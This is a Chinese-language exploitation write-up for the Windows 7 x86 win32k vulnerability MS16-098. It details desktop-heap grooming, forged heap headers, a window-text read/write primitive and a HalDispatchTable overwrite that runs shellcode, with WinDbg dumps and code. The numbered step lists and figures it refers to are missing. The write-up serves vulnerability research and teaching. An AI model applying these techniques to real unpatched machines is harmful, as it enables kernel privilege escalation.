作者:@55-AA,2016年9月18日
桌面堆是一个由 win32k 使用的内核池,可以被用户态应用程序利用。这里我将详细描述如何实现一个可靠的利用,从而在内核中读写任意地址。本文及相关的分析基于 win7_sp1_x86(build 17842)环境。
2016年8月9日,微软发布了 MS16-098。漏洞代码位于函数 win32k!xxxInsertMenuItem 中,函数原型如下:
BOOL xxxInsertMenuItem(
PMENU pMenu,
UINT wIndex,
BOOL fByPosition,
LPMENUITEMINFOW lpmii,
PUNICODE_STRING pstrItem
);
首先看看 xxxInsertMenuItem 中的伪漏洞代码:
if (pMenu->cItems >= pMenu->cAlloced) {
if (pMenu->rgItems) {
pNewItems = (PITEM)DesktopAlloc(
pMenu->head.rpdesk,
(pMenu->cAlloced + CMENUITEMALLOC) * sizeof(ITEM),
DTAG_MENUITEM);
......
pMenu->cAlloced += CMENUITEMALLOC;
pMenu->rgItems = pNewItems;
if (wIndex != MFMWFP_NOITEM)
pItem = MNLookUpItem(pMenu, wIndex, fByPosition, &pMenuItemIsOn);
......
pMenu->cItems++;
if (pItem != NULL) {
RtlMoveMemory(pItem + 1, pItem, (pMenu->cItems - 1) *
sizeof(ITEM) - ((char *)pItem - (char *)pMenu->rgItems));
} else {
在上述代码中,当第9个(从第1个开始)项被添加到 pMenu 时,调用了 DesktopAlloc() 来重新分配一个新的 pMenu->rgItems。然后调用了 MNLookUpItem() 来获取该项在 pMenu->rgItems 中的位置。但是 MNLookUpItem() 返回的 pItem 是另一个 pSubMenu 的 rgItems,而不是 pMenu 的,因此当调用 RtlMoveMemory() 时,pSubMenu 的 pItem 及后续字节会因移动的大小错误而被覆盖。
以下是关于该漏洞的反汇编代码,会触发堆覆盖,可用于构建伪造的块:
0: kd> u win32k!xxxInsertMenuItem+0x1f5 l8
win32k!xxxInsertMenuItem+0x1f5:
95d295af 6bc06c imul eax,eax,6Ch
95d295b2 2bc3 sub eax,ebx
95d295b4 034634 add eax,dword ptr [esi+34h]
95d295b7 50 push eax
95d295b8 8d436c lea eax,[ebx+6Ch]
95d295bb 53 push ebx
95d295bc 50 push eax
95d295bd e85ea40100 call win32k!memmove (95d43a20)
为了跟踪这个漏洞,我在 WinDbg 中使用了这些断点:
ba e1 win32k!xxxInsertMenuItem
ba e1 win32k!xxxInsertMenuItem+0xf3
95d294e3 e843e70200 call win32k!DesktopAlloc (836d7bf5)
ba e1 win32k!xxxInsertMenuItem+0x129
95d294e3 e80de70200 call win32k!DesktopAlloc (836d7bf5)
ba e1 win32k!xxxInsertMenuItem+0x1f5
95d295af 6bc06c imul eax,eax,6Ch
为了触发该漏洞,需要完成以下步骤:
桌面堆是所有 GUI 进程使用的全局池。所有 GUI 对象,如窗口、菜单,都存储在桌面堆中,并由内核堆分配器管理。内核堆分配器使用了熟悉的函数,例如 RtlAllocateHeap 和 RtlFreeHeap。与用户态堆不同,桌面堆不使用任何前端分配器,因此没有低碎片堆(LFH),也没有 Lookaside 列表等。此外,直到 Windows 8 及更高版本才引入了堆编码。以下是 win7_sp1_x86 上块的内部结构:
typedef struct _HEAP_ENTRY {
USHORT Size;
UCHAR Flags;
UCHAR SegmentIndex;
USHORT PreviousSize;
UCHAR SegmentOffset;
UCHAR UnusedBytes;
} HEAP_ENTRY, *PHEAP_ENTRY;
Size 和 PreviousSize 字段表示右移 HEAP_GRANULARITY_SHIFT(在 32 位系统中定义为 3)位后的块大小,Size 字段指定当前块,PreviousSize 指定前一个块。Flags 的最低位通常设置为 HEAP_ENTRY_BUSY(0x01),表示该块正在使用中,否则为 0x00。
下图展示了这些字段与这些块之间的关系。第二个绿色下划线 WORD(0x000f)表示当前块大小为 0x78 字节,第二个黑色下划线 WORD(0x0003)表示前一个块大小为 0x18 字节,红色下划线 WORD(0x0001)表示当前块正在使用中。这里,块大小包括头部大小,头部定义为上面的 HEAP_ENTRY 结构。

这是堆损坏最重要的特性,堆分配器总是获取最近释放的块。这意味着我们实际上可以分配任意大小的块,并且放在我们想要的特定位置。
通过利用该漏洞,我可以覆盖桌面堆中的一些字节,从而获得一个伪造的块,替换掉一个正常的块,然后释放被替换的块,这样伪造的块就被推到了空闲块列表的顶部。随后,伪造的块被重用,我可以向其中写入任意字节,可写区域覆盖了几个正常的块,但无法覆盖整个内核空间。因此,我需要在重叠区域内构建另一个读/写原语,利用 tagWND.strName 来写入任意地址。strName.Buffer 的指针可以将我们引导到任何地方,包括内核空间和用户空间。当然,我们的目标只是 nt!HalDispatchTable。
下图展示了堆的变化过程:

根据图示,我逐步破坏桌面堆,并通过以下阶段实现利用:
上面列出的关键步骤用于构建堆风水:
在步骤 7 中,我会在 WND_1 的文本中构建一个伪造的堆头部,它指定了未来块的状态。如上图中的蓝色部分,它会覆盖红色部分。从 'Corrupt HDR' 到 'red HDR' 的距离是 0x6c,这是一个 ITEM 的大小。参数如下:
pHeapEntry->PreviousSize = (0x6c8 + 0x78) >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Size = 0x8e8 >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Flags = 1;
pHeapEntry->UnusedBytes = 8;
在步骤 12 中,我会在 WND_3 的文本中构建下一个伪造的堆头部,使堆分配器相信这些伪造的块是正常链接的。
在步骤 15 中,漏洞会被触发。由于添加了第 9 个 ITEM,ITEMs 列表被重新分配,并重用 WND_0 文本释放的块。因此,从 'SubMenuITEMs HDR' 到 'MenuITEMs HDR' 的距离是 (0x6c8+0x78+0x78) 字节,这个区域内的数据会被自身覆盖。在这一步中,WND_1、WND_2 和 MenuITEMs 的块头部受到了破坏。为了正常退出进程,我保存了一些数据,以便在步骤 20 中恢复。
在步骤 13 中,我在数据被破坏之前保存了一些数据。然而,我处于用户态,无法读取内核空间内的这些数据。幸运的是,用户态中有一个映射区,它是桌面堆的镜像。尽管它是只读的,但对于我的目的来说已经足够了。要获取用户态中的映射区地址,可以使用 Win32ClientInfo,它是 TEB 中一个未文档化的结构,让我们看看:
typedef struct _CLIENTINFO {
ULONG_PTR CI_flags;
ULONG_PTR cSpins;
DWORD dwExpWinVer;
DWORD dwCompatFlags;
DWORD dwCompatFlags2;
DWORD dwTIFlags;
PDESKTOPINFO pDeskInfo;
ULONG_PTR ulClientDelta;
} CLIENTINFO, *PCLIENTINFO;
typedef struct _DESKTOPINFO {
PVOID pvDesktopBase;
PVOID pvDesktopLimit;
} DESKTOPINFO, *PDESKTOPINFO;
我们关心的字段是 pvDesktopBase 和 ulClientDelta。pvDesktopBase 指向桌面堆的内核地址,ulClientDelta 是一个增量值,指定了用户态镜像与内核地址之间的偏移量。
此外,我需要一个从 HANDLE 到内核地址的映射关系。有一个名为 gSharedInfo 的全局变量,它在 win7 及更高版本上由 user32.dll 导出。其定义如下:
typedef struct _SHAREDINFO{
PSERVERINFO psi;
PHANDLEENTRY aheList;
ULONG HeEntrySize;
ULONG_PTR pDispInfo;
ULONG_PTR ulSharedDelta;
ULONG_PTR awmControl[31];
ULONG_PTR DefWindowMsgs;
ULONG_PTR DefWindowSpecMsgs;
}SHAREDINFO,*PSHAREDINFO;
因此,我可以通过以下函数从句柄获取内核地址:
PVOID GetMappedHandlePtr(HANDLE MyHandle, PVOID * UserlandPtr)
{
HANDLEENTRY * UserHandleTable = g_pSharedInfo->aheList;
ULONG cEntries = g_pSharedInfo->psi->cHandleEntries;
ULONG dwIndex = (ULONG)MyHandle & 0xFFFF;
ULONG dwUniq = (ULONG)MyHandle >> 16;
if(dwIndex <= cEntries) {
if (dwUniq == UserHandleTable[dwIndex].wUniq) {
*UserlandPtr = (PVOID)(
(ULONG_PTR)UserHandleTable[dwIndex].phead - g_DeltaDesktopHeap);
return (PVOID)UserHandleTable[dwIndex].phead;
}
}
return NULL;
}
在步骤 17、18 和 20 中,我想向内核空间写入一些字节,因此我利用了窗口文本。它是一个在桌面堆上分配并与窗口对象关联的 LARGE_UNICODE_STRING。我们可以在 tagWND 结构中找到它,在 win7_sp1_x86 上,其偏移量为 0x84,而偏移量 0x8c 正是我们可以控制来读写的指针。在用户态,我可以调用 NtUserDefSetText() 来设置窗口的文本,文本内容会被写入我们想要的内核地址。
在步骤 19 中,我触发了最终目标——shellcode。通过调用用户态的 NtQueryIntervalProfile(),原本会调用 hal!HaliQuerySystemInformation,但其函数指针已经在步骤 18 中被替换为我自己的函数。顺便说一下,当 NtQueryIntervalProfile 的第一个参数设置为 1 时,会存在一个短路,原因在于偏移 84115505 处的如下代码:
nt!KeQueryIntervalProfile:
841154fd 8bff mov edi,edi
841154ff 55 push ebp
84115500 8bec mov ebp,esp
84115502 83ec10 sub esp,10h
84115505 83f801 cmp eax,1
84115508 7507 jne nt!KeQueryIntervalProfile+0x14 (84115511)
8411550a a108f7fa83 mov eax,dword ptr [nt!KiProfileAlignmentFixupInterval (83faf708)]
8411550f c9 leave
84115510 c3 ret
除此之外,任何其他值都会正常执行。
为了方便跟踪整个破坏过程,我在控制台中打印了一些关键值。

根据输出,我们可以通过 WinDbg 查看破坏中的桌面堆布局。
这是步骤 7 和步骤 8 中的 WND_1_Text 和 WND_2_Text:
1: kd> db fea2d7a8-8 l78*2
fea2d7a0 0f 00 01 00 d9 00 00 08-00 00 00 00 1d 01 01 00 ................
fea2d7b0 e8 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d800 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d810 00 00 00 00 00 00 00 00-0f 00 01 00 0f 00 00 08 ................
fea2d820 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d830 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d840 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d850 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d860 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d870 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d880 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
这是在步骤 15 的利用之后的状态:
0: kd> db fea2d7a8-8 l78*2
fea2d7a0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d800 00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00 ................
fea2d810 d9 00 00 08 00 00 00 00-1d 01 01 00 e8 00 00 08 ................
fea2d820 f0 36 a3 fe 10 ca a2 fe-00 00 00 00 00 00 00 00 .6..............
fea2d830 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d840 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d850 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d860 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d870 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d880 00 00 00 00 0f 00 01 00-0f 00 00 08 00 00 00 00 ................
这是完成的伪造块:
0: kd> db fea2d820-8
fea2d818 1d 01 01 00 e8 00 00 08-f0 36 a3 fe 10 ca a2 fe .........6......
fea2d828 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d838 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d848 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d858 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d868 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d878 00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00 ................
fea2d888 0f 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00 ................
这是第二个完成的伪造块:
0: kd> db fea2d820-8 + 11d*8
fea2e100 02 00 01 00 1d 01 00 08-00 00 00 00 00 00 00 00 ................
fea2e110 0d 00 01 00 03 00 00 0c-38 26 a1 fe 80 c1 80 c1 ........8&......
fea2e120 00 00 00 00 40 8c 47 88-00 00 00 00 00 00 c1 00 [email protected].........
fea2e130 00 00 00 00 00 00 00 00-00 00 00 00 18 e1 a2 fe ................
fea2e140 00 00 00 00 00 00 00 00-00 40 00 00 9c 88 d0 95 .........@......
fea2e150 00 00 00 00 00 00 00 00-00 00 88 00 00 00 00 00 ................
fea2e160 e8 3e b5 ff 06 00 00 00-00 00 00 00 80 e1 a2 fe .>..............
fea2e170 00 00 00 00 00 00 00 00-05 00 01 00 0d 00 00 09 ................
PrimitiveWnd tagWND.strName
0: kd> db fea2d820 + 78 + 6c8 + 84
fea2dfe4 02 00 00 00 04 00 00 00-fc 53 f7 83 00 00 00 00 .........S......
fea2dff4 60 df a2 fe 17 03 10 00-00 00 00 00 00 00 00 00 `...............
fea2e004 00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00 ................
fea2e014 17 00 00 08 01 00 00 00-01 00 00 00 88 19 7e 01 ..............~.
fea2e024 18 a9 00 00 17 00 01 00-03 00 00 08 fc 03 03 00 ................
fea2e034 03 00 00 00 38 48 96 fe-40 8c 47 88 30 e0 a2 fe [email protected]...
fea2e044 18 00 08 60 00 07 00 80-00 01 00 00 00 00 cf 04 ...`............
fea2e054 00 00 00 00 00 00 00 00-60 df a2 fe 28 81 a1 fe ........`...(...
CorruptWnd tagWND.strName
0: kd> db fea2d820 + 78 + 6c8 + d0 + 84
fea2e0b4 de 08 00 00 e0 08 00 00-20 d8 a2 fe 00 00 00 00 ........ .......
fea2e0c4 30 e0 a2 fe 17 03 10 00-00 00 00 00 00 00 00 00 0...............
fea2e0d4 00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00 ................
fea2e0e4 17 00 00 08 01 00 00 00-01 00 00 00 90 1e 7e 01 ..............~.
fea2e0f4 18 a9 00 00 03 00 01 00-03 00 00 08 02 00 01 00 ................
fea2e104 1d 01 00 08 00 00 00 00-00 00 00 00 0d 00 01 00 ................
fea2e114 03 00 00 0c 38 26 a1 fe-80 c1 80 c1 00 00 00 00 ....8&..........
fea2e124 40 8c 47 88 00 00 00 00-00 00 c1 00 00 00 00 00 @.G.............
被替换的 shellcode 指针:
0: kd> dds nt!HalDispatchTable
83f753f8 00000004
83f753fc 013711c0
83f75400 83e3c1b4 hal!HalpSetSystemInformation
83f75404 840fe71f nt!xHalQueryBusSlots
83f75408 00000000
0: kd> u 013711c0
013711c0 a188fa3701 mov eax,dword ptr ds:[0137FA88h]
013711c5 8b0d80fa3701 mov ecx,dword ptr ds:[137FA80h]
013711cb 894804 mov dword ptr [eax+4],ecx
013711ce 33c0 xor eax,eax
013711d0 c21000 ret 10h